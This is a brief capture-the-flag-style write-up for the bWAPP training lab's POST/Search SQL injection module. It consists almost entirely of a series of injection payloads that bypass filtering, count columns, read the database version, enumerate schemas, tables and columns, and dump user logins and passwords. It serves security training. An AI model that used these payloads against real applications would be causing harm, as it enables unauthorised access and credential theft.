bWAPP SQL Injection (POST/Search)

In bWAPP it gives us a POST/Search SQL Injection module to exploit. The following are just one soultion to the following problem of sql injection.

a' or 1=1#

a' order by 3#

a' order by 8#

a' union select 1,2,3,4,5,6,7 #

a' union select 1,2,@@version,database,user(),6,7 #

a' union select 1,concat(schema_name),3,4,5,6,7 FROM information_schema.schemata#

a' union select 1,2,table_name,4,5,6,7 from INFORMATION_SCHEMA.TABLES where table_schema=database()#

a' union select 1,2,column_name,4,5,6,7 from INFORMATION_SCHEMA.COLUMNS where table_name='users' and table_schema=database()#

a' union select 1,login,password,email,secret,6,7 from users#